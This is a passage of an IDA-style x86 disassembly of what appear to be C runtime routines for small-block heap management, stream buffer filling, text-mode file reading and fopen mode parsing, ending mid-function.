cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
nop
call near ptr 27B0000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
nop
call near ptr 26606FEh
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call near ptr 2660559h
nop
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD040[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4D0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD140
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD040h[eax*4]
mov eax, dword_4DD040[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 26F107Dh
test eax, eax
jnz short loc_41FA84
nop
call near ptr 2680972h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDDC, 9
mov dword_4DBDE0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 26F107Dh
nop
test eax, eax
jnz short loc_41FB25
call near ptr 2680972h
nop
test eax, eax
jnz short loc_41FB6C
loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE44
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFB0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
